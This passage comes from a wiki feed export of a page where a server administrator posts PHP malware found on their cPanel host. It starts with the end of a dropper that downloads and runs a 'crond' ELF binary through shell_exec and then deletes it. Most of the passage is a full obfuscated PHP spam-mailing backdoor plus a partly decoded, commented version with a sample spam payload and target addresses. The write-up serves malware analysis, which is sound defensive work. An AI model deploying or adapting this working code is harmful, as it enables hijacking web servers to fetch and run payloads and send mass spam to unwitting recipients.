		echo &#039;&amp;lt;err step=2 err=nolinux data=&#039;.$hafev1.&#039;&amp;gt;&#039;;&lt;br /&gt;
		break;&lt;br /&gt;
	}&lt;br /&gt;
	$targetFilename = &#039;crond&#039;;&lt;br /&gt;
	$exploitUrl = &amp;quot;&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
	if (strlen(decbin(~0)) == 64) {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x64&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf64;&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=3 data=x32&amp;gt;&#039;;&lt;br /&gt;
		$exploitUrl = $crondElf32;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	$exploitFilename = &amp;quot;&amp;quot;;&lt;br /&gt;
	if (!file_exists($targetFilename)) {&lt;br /&gt;
		$exploitFilename = saveUrlToFile($key, $exploitUrl, $targetFilename);&lt;br /&gt;
&lt;br /&gt;
		if ( $exploitFilename == FALSE) {&lt;br /&gt;
			echo &#039;&amp;lt;err step=4 err=downl data=&amp;gt;&#039;;&lt;br /&gt;
			break;&lt;br /&gt;
		} else {&lt;br /&gt;
			echo &#039;&amp;lt;inf step=4 data=downok&amp;gt;&#039;;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		echo &#039;&amp;lt;inf step=4 data=exists&amp;gt;&#039;;&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	chmod($exploitFilename, 0755);&lt;br /&gt;
&lt;br /&gt;
	$exploitCmd = $xdvsnExploitEnv.&#039; ./&#039;.$exploitFilename.&#039; &amp;gt;/dev/null 2&amp;gt;/dev/null &amp;amp;&#039;;&lt;br /&gt;
	$exploitResult = shell_exec($exploitCmd);&lt;br /&gt;
&lt;br /&gt;
	echo &#039;&amp;lt;inf step=5 data=done data2=&#039;.$exploitResult.&#039;&amp;gt;&#039;;&lt;br /&gt;
	sleep(1);&lt;br /&gt;
&lt;br /&gt;
	unlink($exploitFilename);&lt;br /&gt;
&lt;br /&gt;
	break;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
echo &#039;&amp;lt;/shchzzz&amp;gt;&#039;;&lt;br /&gt;
exit();&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function getPasteFileContents($key, $url) {&lt;br /&gt;
	$hackFileContents = &amp;quot;&amp;quot;;&lt;br /&gt;
	$fp = @fopen($url, &#039;rb&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;curl_init&#039;))&lt;br /&gt;
			return FALSE;&lt;br /&gt;
			&lt;br /&gt;
		$curl = @curl_init();&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_URL, $url);&lt;br /&gt;
		@curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);&lt;br /&gt;
		$hackFileContents = @curl_exec($curl);&lt;br /&gt;
		@curl_close($curl);&lt;br /&gt;
	} else {&lt;br /&gt;
		while(!feof($fp))&lt;br /&gt;
			$hackFileContents.= fread($fp, 1024 * 64);&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
	}&lt;br /&gt;
    return $hackFileContents;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveContentsToFile($key, $hackFilename, $hackFileContents) {&lt;br /&gt;
	$fp = fopen($hackFilename, &#039;wb+&#039;);&lt;br /&gt;
&lt;br /&gt;
	if ($fp == FALSE) {&lt;br /&gt;
		if (!function_exists(&#039;file_put_contents&#039;)) return FALSE;&lt;br /&gt;
		if ( @file_put_contents($hackFilename, $hackFileContents) === FALSE ) return FALSE;&lt;br /&gt;
	} else {&lt;br /&gt;
		$blbem39 = fwrite($fp, $hackFileContents, strlen($hackFileContents));&lt;br /&gt;
		fclose($fp);&lt;br /&gt;
		if ($blbem39 == FALSE || $blbem39 != strlen($hackFileContents)) return FALSE;&lt;br /&gt;
	}&lt;br /&gt;
	return TRUE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function saveUrlToFile($key, $url, $exploitFilename) {&lt;br /&gt;
	$hackFileContents = getPasteFileContents($key, $url);&lt;br /&gt;
&lt;br /&gt;
	if ($hackFileContents == FALSE) return FALSE;&lt;br /&gt;
	&lt;br /&gt;
	if (saveContentsToFile($key, .&#039;/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
		if (saveContentsToFile($key, &#039;/tmp/&#039;.$exploitFilename, $hackFileContents) == FALSE) {&lt;br /&gt;
			return FALSE;&lt;br /&gt;
		} else {&lt;br /&gt;
			return &#039;/tmp/&#039;.$exploitFilename;&lt;br /&gt;
		}&lt;br /&gt;
	} else {&lt;br /&gt;
		return .&#039;/&#039;.$exploitFilename;&lt;br /&gt;
	}&lt;br /&gt;
	return FALSE;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>10.1.1.3</name></author>
	</entry>
	<entry>
		<id>https://leo.leung.xyz/wiki/index.php?title=PHP_Hacks&amp;diff=1160</id>
		<title>PHP Hacks</title>
		<link rel="alternate" type="text/html" href="https://leo.leung.xyz/wiki/index.php?title=PHP_Hacks&amp;diff=1160"/>
		<updated>2015-05-05T05:11:26Z</updated>

		<summary type="html">&lt;p&gt;10.1.1.3: /* How it is uploaded */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;These are the PHP hacks I&#039;ve found in the wild.  I&#039;ll post the raw and the deciphered form and a quick overview of what it does.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== PHP Spammer ==&lt;br /&gt;
&lt;br /&gt;
Exim on my cPanel server has been quite busy late. Too busy actually... Looking at the queue, it was clear someone was abusing the SMTP server. Most of the messages were sent from a PHP script called &amp;lt;code&amp;gt;newsVfK.php&amp;lt;/code&amp;gt;. The contents of the script is given below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php @error_reporting(0); @ini_set(chr(101).chr(114).&#039;ror_log&#039;,NULL); @ini_set(&#039;log_errors&#039;,0); if (count($_POST) &amp;lt; 2) { die(PHP_OS.chr(49).chr(48).chr(43).md5(0987654321)); } $v5031e998 = false; foreach (array_keys($_POST) as $v3c6e0b8a) { switch ($v3c6e0b8a[0]) { case chr(108): $vd56b6998 = $v3c6e0b8a; break; case chr(100): $v8d777f38 = $v3c6e0b8a; break; case chr(109): $v3d26b0b1 = $v3c6e0b8a; break; case chr(101); $v5031e998 = true; break; } } if ($vd56b6998 === &#039;&#039; || $v8d777f38 === &#039;&#039;) die(PHP_OS.chr(49).chr(49).chr(43).md5(0987654321)); $v619d75f8 = preg_split(&#039;/\,(\ +)?/&#039;, @ini_get(&#039;disable_functions&#039;)); $v01b6e203 = @$_POST[$vd56b6998]; $v8d777f38 = @$_POST[$v8d777f38]; $v3d26b0b1 = @$_POST[$v3d26b0b1]; if ($v5031e998) { $v01b6e203 = n9a2d8ce3($v01b6e203); $v8d777f38 = n9a2d8ce3($v8d777f38); $v3d26b0b1 = n9a2d8ce3($v3d26b0b1); } $v01b6e203 = urldecode(stripslashes($v01b6e203)); $v8d777f38 = urldecode(stripslashes($v8d777f38)); $v3d26b0b1 = urldecode(stripslashes($v3d26b0b1)); if (strpos($v01b6e203, &#039;#&#039;,1) != false) { $v16a9b63f = preg_split(&#039;/#/&#039;, $v01b6e203); $ve2942a04 = count($v16a9b63f); } else { $v16a9b63f[0] = $v01b6e203; $ve2942a04 = 1; } for ($v865c0c0b=0; $v865c0c0b &amp;lt; $ve2942a04;$v865c0c0b++) { $v01b6e203 = $v16a9b63f[$v865c0c0b]; if ($v01b6e203 == &#039;&#039; || !strpos($v01b6e203,&#039;@&#039;,1)) continue; if (strpos($v01b6e203, &#039;;&#039;, 1) != false) { list($va3da707b, $vbfbb12dc, $v081bde0c) = preg_split(&#039;/;/&#039;,strtolower($v01b6e203)); $va3da707b = ucfirst($va3da707b); $vbfbb12dc = ucfirst($vbfbb12dc); $v3a5939e4 = next(explode(&#039;@&#039;, $v081bde0c)); if ($vbfbb12dc == &#039;&#039; || $va3da707b == &#039;&#039;) { $vbfbb12dc = $va3da707b = &#039;&#039;; $v01b6e203 = $v081bde0c; } else { $v01b6e203 = &amp;quot;\&amp;quot;$va3da707b $vbfbb12dc\&amp;quot; &amp;lt;$v081bde0c&amp;gt;&amp;quot;; } } else { $vbfbb12dc = $va3da707b = &#039;&#039;; $v081bde0c = strtolower($v01b6e203); $v3a5939e4 = next(explode(&#039;@&#039;, $v01b6e203)); } preg_match(&#039;|&amp;lt;USER&amp;gt;(.*)&amp;lt;/USER&amp;gt;|imsU&#039;, $v8d777f38, $vee11cbb1); $vee11cbb1 = $vee11cbb1[1]; preg_match(&#039;|&amp;lt;NAME&amp;gt;(.*)&amp;lt;/NAME&amp;gt;|imsU&#039;, $v8d777f38, $vb068931c); $vb068931c = $vb068931c[1]; preg_match(&#039;|&amp;lt;SUBJ&amp;gt;(.*)&amp;lt;/SUBJ&amp;gt;|imsU&#039;, $v8d777f38, $vc34487c9); $vc34487c9 = $vc34487c9[1]; preg_match(&#039;|&amp;lt;SBODY&amp;gt;(.*)&amp;lt;/SBODY&amp;gt;|imsU&#039;, $v8d777f38, $v6f4b5f42); $v6f4b5f42= $v6f4b5f42[1]; $vc34487c9 = str_replace(&amp;quot;%R_NAME%&amp;quot;, $va3da707b, $vc34487c9); $vc34487c9 = str_replace(&amp;quot;%R_LNAME%&amp;quot;, $vbfbb12dc, $vc34487c9); $v6f4b5f42 = str_replace(&amp;quot;%R_NAME%&amp;quot;, $va3da707b, $v6f4b5f42); $v6f4b5f42 = str_replace(&amp;quot;%R_LNAME%&amp;quot;, $vbfbb12dc, $v6f4b5f42); $v0897acf4 = preg_replace(&#039;/^(www|ftp)\./i&#039;, &#039;&#039;, @$_SERVER[&#039;HTTP_HOST&#039;]); if (ne667da76($v0897acf4) || @ini_get(&#039;safe_mode&#039;)) $v10497e3f = false; else $v10497e3f = true; $v9a5cb5d8 = &amp;quot;$vee11cbb1@$v0897acf4&amp;quot;; if ($vb068931c != &#039;&#039;) $vd98a07f8 = &amp;quot;$vb068931c &amp;lt;$v9a5cb5d8&amp;gt;&amp;quot;; else $vd98a07f8 = $v9a5cb5d8; $vb8ddc93f = &amp;quot;From: $vd98a07f8\r\n&amp;quot;; $vb8ddc93f .= &amp;quot;Reply-To: $vd98a07f8\r\n&amp;quot;; $v3c87b187 = &amp;quot;X-Priority: 3 (Normal)\r\n&amp;quot;; $v3c87b187 .= &amp;quot;MIME-Version: 1.0\r\n&amp;quot;; $v3c87b187 .= &amp;quot;Content-Type: text/html; charset=\&amp;quot;iso-8859-1\&amp;quot;\r\n&amp;quot;; $v3c87b187 .= &amp;quot;Content-Transfer-Encoding: 8bit\r\n&amp;quot;; $v1e66f6b4 = &#039;ma&#039;.chr(105).&#039;l&#039;; if (!in_array(&#039;m&#039;.&#039;a&#039;.&#039;il&#039;, $v619d75f8)) { if ($v10497e3f) { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f.$v3c87b187, &amp;quot;-f$v9a5cb5d8&amp;quot;)) { echo(chr(79).chr(75).md5(1234567890).&amp;quot;+0\n&amp;quot;); continue; } } else { if (@$v1e66f6b4($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) { echo(chr(79).chr(75).md5(1234567890).&amp;quot;+0\n&amp;quot;); continue; } } } $v4340fd73 = &amp;quot;Date: &amp;quot; . @date(&amp;quot;D, j M Y G:i:s O&amp;quot;).&amp;quot;\r\n&amp;quot; . $vb8ddc93f; $v4340fd73 .= &amp;quot;Message-ID: &amp;lt;&amp;quot;.preg_replace(&#039;/(.{7})(.{5})(.{2}).*/&#039;, &#039;$1-$2-$3&#039;, md5(time())).&amp;quot;@$v0897acf4&amp;gt;\r\n&amp;quot;; $v4340fd73 .= &amp;quot;To: $v01b6e203\r\n&amp;quot;; $v4340fd73 .= &amp;quot;Subject: $vc34487c9\r\n&amp;quot;; $v4340fd73 .= $v3c87b187; $v841a2d68 = $v4340fd73.&amp;quot;\r\n&amp;quot;.$v6f4b5f42; if ($v3d26b0b1 == &#039;&#039;) $v3d26b0b1 = n9c812bad($v3a5939e4); if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) { echo(chr(79).chr(75).md5(1234567890).&amp;quot;+1\n&amp;quot;); continue; } else { echo PHP_OS.chr(50).chr(48).&#039;+&#039;.md5(0987654321).&amp;quot;+$vb4a88417\n&amp;quot;; } } function ne667da76($v957b527b){ return preg_match(&amp;quot;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/&amp;quot;, $v957b527b); } function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685=&amp;quot;=\r\n&amp;quot;, $v92f21a0f = 0, $v3303c65a = false) { $vf5a8e923 = strlen($vb45cffe0); $vb4a88417 = &#039;&#039;; for($v865c0c0b = 0; $v865c0c0b &amp;lt; $vf5a8e923; $v865c0c0b++) { if ($v11a95b8a &amp;gt;= 75) { $v11a95b8a = $v92f21a0f; $vb4a88417 .= $v7fa1b685; } $v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]); if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 &amp;gt;= 0x80) || ($v4a8a08f0 &amp;lt; 0x20)) { if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) &amp;amp;&amp;amp; (!$v3303c65a)) { $vb4a88417.=chr($v4a8a08f0); $v11a95b8a = 0; continue; } $vb4a88417 .=&#039;=&#039;.str_pad(strtoupper(dechex($v4a8a08f0)), 2, &#039;0&#039;, STR_PAD_LEFT); $v11a95b8a += 3; continue; } $vb4a88417 .= chr($v4a8a08f0); $v11a95b8a++; } return $vb4a88417; } function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1) { global $v619d75f8; if (!in_array(&#039;fsockopen&#039;, $v619d75f8)) $v66b18866 = @fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array(&#039;pfsockopen&#039;, $v619d75f8)) $v66b18866 = @pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20); elseif (!in_array(&#039;stream_socket_client&#039;, $v619d75f8) &amp;amp;&amp;amp; function_exists(&amp;quot;stream_socket_client&amp;quot;)) $v66b18866 = @stream_socket_client(&amp;quot;tcp://$v3d26b0b1:25&amp;quot;, $v70106d0d, $v809b1abe, 20); else return -1; if (!$v66b18866) { return 1; } else { $v8d777f38 = n54070395($v66b18866); @fputs($v66b18866, &amp;quot;EHLO $v0897acf4\r\n&amp;quot;); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return &amp;quot;2+($v01b6e203)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $ve98d2f00); @fputs($v66b18866, &amp;quot;MAIL FROM:&amp;lt;$vd98a07f8&amp;gt;\r\n&amp;quot;); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return &amp;quot;3+($v01b6e203)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $ve98d2f00); @fputs($v66b18866, &amp;quot;RCPT TO:&amp;lt;$v01b6e203&amp;gt;\r\n&amp;quot;); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 &amp;amp;&amp;amp; substr($ve98d2f00, 0, 3) != 251) return &amp;quot;4+($v01b6e203)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $ve98d2f00); @fputs($v66b18866, &amp;quot;DATA\r\n&amp;quot;); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 354 ) return &amp;quot;5+($v01b6e203)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $ve98d2f00); @fputs($v66b18866, $v841a2d68.&amp;quot;\r\n.\r\n&amp;quot;); $ve98d2f00 = n54070395($v66b18866); if (substr($ve98d2f00, 0, 3) != 250 ) return &amp;quot;6+($v01b6e203)+&amp;quot;.preg_replace(&#039;/(\r\n|\r|\n)/&#039;, &#039;|&#039;, $ve98d2f00); @fputs($v66b18866, &amp;quot;QUIT\r\n&amp;quot;); @fclose($v66b18866); return 0; } } function n54070395($v66b18866) { $v8d777f38 = &#039;&#039;; while($v341be97d = @fgets($v66b18866, 4096)) { $v8d777f38 .= $v341be97d; if(substr($v341be97d, 3, 1) == &#039; &#039;) break; } return $v8d777f38; } function n9c812bad($vad5f82e8) { global $v619d75f8; if (!in_array(&#039;getmxrr&#039;, $v619d75f8) &amp;amp;&amp;amp; function_exists(&amp;quot;getmxrr&amp;quot;)) { @getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816); if (count($v744fa43b) === 0) return &#039;127.0.0.1&#039;; $v865c0c0b = array_keys($v6c5ea816, min($v6c5ea816)); return $v744fa43b[$v865c0c0b[0]]; } else { return &#039;127.0.0.1&#039;; } } function n9a2d8ce3($v1cb251ec) { $v1cb251ec = base64_decode($v1cb251ec); $vc68271a6 = &#039;&#039;; for($v865c0c0b = 0; $v865c0c0b &amp;lt; strlen($v1cb251ec); $v865c0c0b++) $vc68271a6 .= chr(ord($v1cb251ec[$v865c0c0b]) ^ 2); return $vc68271a6; } ?&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight &amp;gt;&lt;br /&gt;
&lt;br /&gt;
Here is the decoded version of the code above. I&#039;ve replaced the random variable and function names with something more descriptive. I added a few comments throughout the code as well.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot; line start=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;?php&lt;br /&gt;
@error_reporting(0);&lt;br /&gt;
@ini_set(&amp;quot;error_log&amp;quot;, NULL);&lt;br /&gt;
@ini_set(&#039;log_errors&#039;, 0);&lt;br /&gt;
&lt;br /&gt;
if (count($_POST) &amp;lt; 2) {&lt;br /&gt;
	die(PHP_OS.&amp;quot;10+&amp;quot;.md5(0987654321)); &lt;br /&gt;
}&lt;br /&gt;
$is_encrypted = false; &lt;br /&gt;
&lt;br /&gt;
foreach (array_keys($_POST) as $value) {&lt;br /&gt;
	// the first character of each dictionary is used&lt;br /&gt;
	// to determine the key name.&lt;br /&gt;
	switch ($value[0]) {&lt;br /&gt;
		// list is the list of emails to send to&lt;br /&gt;
		case &amp;quot;l&amp;quot;: $list_name = $value; break; &lt;br /&gt;
		// data is the message to be send&lt;br /&gt;
		case &amp;quot;d&amp;quot;: $spam_message_data = $value; break; &lt;br /&gt;
		// mail?&lt;br /&gt;
		case &amp;quot;m&amp;quot;: $mail_server = $value; break; &lt;br /&gt;
		// en = encrypt?&lt;br /&gt;
		case &amp;quot;e&amp;quot;; $is_encrypted = true; break; &lt;br /&gt;
	} &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
if ($list_name === &#039;&#039; || $spam_message_data === &#039;&#039;)&lt;br /&gt;
	die(PHP_OS.&amp;quot;11+&amp;quot;.md5(0987654321)); &lt;br /&gt;
&lt;br /&gt;
$disabled_functions = preg_split(&#039;/\,(\ +)?/&#039;, @ini_get(&#039;disable_functions&#039;)); &lt;br /&gt;
$target_emails = @$_POST[$list_name]; &lt;br /&gt;
$spam_message_data = @$_POST[$spam_message_data]; &lt;br /&gt;
$mail_server = @$_POST[$mail_server]; &lt;br /&gt;
&lt;br /&gt;
if ($is_encrypted) {&lt;br /&gt;
	$target_emails = decrypt_func($target_emails); &lt;br /&gt;
	$spam_message_data = decrypt_func($spam_message_data); &lt;br /&gt;
	$mail_server = decrypt_func($mail_server); &lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
$target_emails = urldecode(stripslashes($target_emails)); &lt;br /&gt;
$spam_message_data = urldecode(stripslashes($spam_message_data)); &lt;br /&gt;
$mail_server = urldecode(stripslashes($mail_server)); &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
// target_emails looks something like this:&lt;br /&gt;
// bkmarie@aol.com#bkmarin@aol.com#bkmark0917@aol.com#bkmark940608895@aol.com#bkmark@aol.com#bkmarks65@aol.com#bkmarkwood@aol.com#bkmarohn@aol.com#bkmars@aol.com#bkmarsch@hotmail.com#&lt;br /&gt;
&lt;br /&gt;
if (strpos($target_emails, &#039;#&#039;,1) != false) {&lt;br /&gt;
	$email_list = preg_split(&#039;/#/&#039;, $target_emails);&lt;br /&gt;
	$email_list_count = count($email_list); &lt;br /&gt;
} else {&lt;br /&gt;
	$email_list[0] = $target_emails;&lt;br /&gt;
	$email_list_count = 1; &lt;br /&gt;
} &lt;br /&gt;
&lt;br /&gt;
for ($email_i=0; $email_i &amp;lt; $email_list_count; $email_i++) {&lt;br /&gt;
	$target_emails = $email_list[$email_i]; &lt;br /&gt;
	&lt;br /&gt;
	if ($target_emails == &#039;&#039; || !strpos($target_emails,&#039;@&#039;,1)) &lt;br /&gt;
		continue; &lt;br /&gt;
		&lt;br /&gt;
	if (strpos($target_emails, &#039;;&#039;, 1) != false) {&lt;br /&gt;
		list($recipient_first_name, $recipient_last_name, $target_emails) = preg_split(&#039;/;/&#039;,strtolower($target_emails)); &lt;br /&gt;
		$recipient_first_name = ucfirst($recipient_first_name); &lt;br /&gt;
		$recipient_last_name = ucfirst($recipient_last_name); &lt;br /&gt;
		$target_emails_domain = next(explode(&#039;@&#039;, $target_emails)); &lt;br /&gt;
		if ($recipient_last_name == &#039;&#039; || $recipient_first_name == &#039;&#039;) {&lt;br /&gt;
			$recipient_last_name = $recipient_first_name = &#039;&#039;; $target_emails = $target_emails;&lt;br /&gt;
		} else {&lt;br /&gt;
			$target_emails = &amp;quot;\&amp;quot;$recipient_first_name $recipient_last_name\&amp;quot; &amp;lt;$target_emails&amp;gt;&amp;quot;; &lt;br /&gt;
		} &lt;br /&gt;
	} else {&lt;br /&gt;
		$recipient_last_name = $recipient_first_name = &#039;&#039;; &lt;br /&gt;
		$target_emails = strtolower($target_emails); &lt;br /&gt;
		$target_emails_domain = next(explode(&#039;@&#039;, $target_emails)); &lt;br /&gt;
	} &lt;br /&gt;
&lt;br /&gt;
	/*&lt;br /&gt;
	 * the spam message will look something like this:&lt;br /&gt;
	 &lt;br /&gt;
&amp;lt;USER&amp;gt;elma_reed&amp;lt;/USER&amp;gt;&lt;br /&gt;
&amp;lt;NAME&amp;gt;&amp;quot;Elma Reed&amp;quot;&amp;lt;/NAME&amp;gt;&lt;br /&gt;
&amp;lt;SUBJ&amp;gt;Fw:  Hello&amp;lt;/SUBJ&amp;gt;&lt;br /&gt;
&amp;lt;SBODY&amp;gt;&lt;br /&gt;
&amp;lt;div&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;&lt;br /&gt;
 Quality Med Online Supplies best chance to save &amp;lt;a href=&amp;quot;http://teatr05.ru/Video___Foto_files/rcf.html&amp;quot;&amp;gt;http://teatr05.ru/Video___Foto_files/rcf.html&amp;lt;/a&amp;gt;&lt;br /&gt;
&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/SBODY&amp;gt;&lt;br /&gt;
&lt;br /&gt;
	*/&lt;br /&gt;
	&lt;br /&gt;
	preg_match(&#039;|&amp;lt;USER&amp;gt;(.*)&amp;lt;/USER&amp;gt;|imsU&#039;, $spam_message_data, $sender_username); &lt;br /&gt;
	$sender_username = $sender_username[1]; &lt;br /&gt;
	preg_match(&#039;|&amp;lt;NAME&amp;gt;(.*)&amp;lt;/NAME&amp;gt;|imsU&#039;, $spam_message_data, $sender_name);&lt;br /&gt;
	$sender_name = $sender_name[1]; &lt;br /&gt;
	preg_match(&#039;|&amp;lt;SUBJ&amp;gt;(.*)&amp;lt;/SUBJ&amp;gt;|imsU&#039;, $spam_message_data, $spam_subject);&lt;br /&gt;
	$spam_subject = $spam_subject[1];&lt;br /&gt;
	preg_match(&#039;|&amp;lt;SBODY&amp;gt;(.*)&amp;lt;/SBODY&amp;gt;|imsU&#039;, $spam_message_data, $spam_message);&lt;br /&gt;
	&lt;br /&gt;
	$spam_message = $spam_message[1];&lt;br /&gt;
	$spam_subject = str_replace(&amp;quot;%R_NAME%&amp;quot;, $recipient_first_name, $spam_subject);&lt;br /&gt;
	$spam_subject = str_replace(&amp;quot;%R_LNAME%&amp;quot;, $recipient_last_name, $spam_subject);&lt;br /&gt;
	$spam_message = str_replace(&amp;quot;%R_NAME%&amp;quot;, $recipient_first_name, $spam_message);&lt;br /&gt;
	$spam_message = str_replace(&amp;quot;%R_LNAME%&amp;quot;, $recipient_last_name, $spam_message);&lt;br /&gt;
	$sender_mail_server = preg_replace(&#039;/^(www|ftp)\./i&#039;, &#039;&#039;, @$_SERVER[&#039;HTTP_HOST&#039;]);&lt;br /&gt;
	&lt;br /&gt;
	if (ne667da76($sender_mail_server) || @ini_get(&#039;safe_mode&#039;))&lt;br /&gt;
		$can_send_X_headers = false; &lt;br /&gt;
	else $can_send_X_headers = true; &lt;br /&gt;
	&lt;br /&gt;
	$sender_email = &amp;quot;$sender_username@$sender_mail_server&amp;quot;; &lt;br /&gt;
	&lt;br /&gt;
	if ($sender_name != &#039;&#039;) &lt;br /&gt;
		$sender_email = &amp;quot;$sender_name &amp;lt;$sender_email&amp;gt;&amp;quot;; &lt;br /&gt;
	else $sender_email = $sender_email; &lt;br /&gt;
&lt;br /&gt;
	$mail_header = &amp;quot;From: $sender_email\r\n&amp;quot;; &lt;br /&gt;
	$mail_header .= &amp;quot;Reply-To: $sender_email\r\n&amp;quot;; &lt;br /&gt;
	$mail_header2 = &amp;quot;X-Priority: 3 (Normal)\r\n&amp;quot;; &lt;br /&gt;
	$mail_header2 .= &amp;quot;MIME-Version: 1.0\r\n&amp;quot;; &lt;br /&gt;
	$mail_header2 .= &amp;quot;Content-Type: text/html; charset=\&amp;quot;iso-8859-1\&amp;quot;\r\n&amp;quot;; &lt;br /&gt;
	$mail_header2 .= &amp;quot;Content-Transfer-Encoding: 8bit\r\n&amp;quot;; &lt;br /&gt;
	$mail_func = &#039;mail&#039;; &lt;br /&gt;
&lt;br /&gt;
	// If mail() is available, use it to email&lt;br /&gt;
	if (!in_array(&#039;mail&#039;, $disabled_functions)) {&lt;br /&gt;
		if ($can_send_X_headers) {&lt;br /&gt;
			if (@$mail_func($target_emails, $spam_subject, $spam_message, $mail_header.$mail_header2, &amp;quot;-f$sender_email&amp;quot;)) {&lt;br /&gt;
				echo(&amp;quot;OK&amp;quot;.md5(1234567890).&amp;quot;+0\n&amp;quot;);&lt;br /&gt;
				continue; &lt;br /&gt;
			} &lt;br /&gt;
		} else {&lt;br /&gt;
			if (@$mail_func($target_emails, $spam_subject, $spam_message, $mail_header2)) {&lt;br /&gt;
				echo(&amp;quot;OK&amp;quot;.md5(1234567890).&amp;quot;+0\n&amp;quot;);&lt;br /&gt;
				continue; &lt;br /&gt;
			} &lt;br /&gt;
		} &lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// Use custom SMTP mailer if mail() is not available&lt;br /&gt;
	$smtp_headers = &amp;quot;Date: &amp;quot; . @date(&amp;quot;D, j M Y G:i:s O&amp;quot;).&amp;quot;\r\n&amp;quot; . $mail_header;&lt;br /&gt;
	$smtp_headers .= &amp;quot;Message-ID: &amp;lt;&amp;quot;.preg_replace(&#039;/(.{7})(.{5})(.{2}).*/&#039;, &#039;$1-$2-$3&#039;, md5(time())).&amp;quot;@$sender_mail_server&amp;gt;\r\n&amp;quot;;&lt;br /&gt;
	$smtp_headers .= &amp;quot;To: $target_emails\r\n&amp;quot;; &lt;br /&gt;
	$smtp_headers .= &amp;quot;Subject: $spam_subject\r\n&amp;quot;; &lt;br /&gt;
	$smtp_headers .= $mail_header2; &lt;br /&gt;
	$smtp_data = $smtp_headers.&amp;quot;\r\n&amp;quot;.$spam_message; &lt;br /&gt;
&lt;br /&gt;
	// If no mail server was specified from the POST request, determine one that can be used&lt;br /&gt;
	if ($mail_server == &#039;&#039;) &lt;br /&gt;
		$mail_server = get_mail_server_func($target_emails_domain); &lt;br /&gt;
&lt;br /&gt;
	if (($mailer_func_return_code = custom_mailer_func($sender_email, $target_emails, $smtp_data, $sender_mail_server, $mail_server)) == 0) {&lt;br /&gt;
		echo(&amp;quot;OK&amp;quot;.md5(1234567890).&amp;quot;+1\n&amp;quot;); &lt;br /&gt;
		continue; &lt;br /&gt;
	} else {&lt;br /&gt;
		echo PHP_OS.&amp;quot;20+&amp;quot;.md5(0987654321).&amp;quot;+$mailer_func_return_code\n&amp;quot;; &lt;br /&gt;
	} &lt;br /&gt;
&lt;br /&gt;
} // end main email mailer loop&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
function ne667da76($server){&lt;br /&gt;
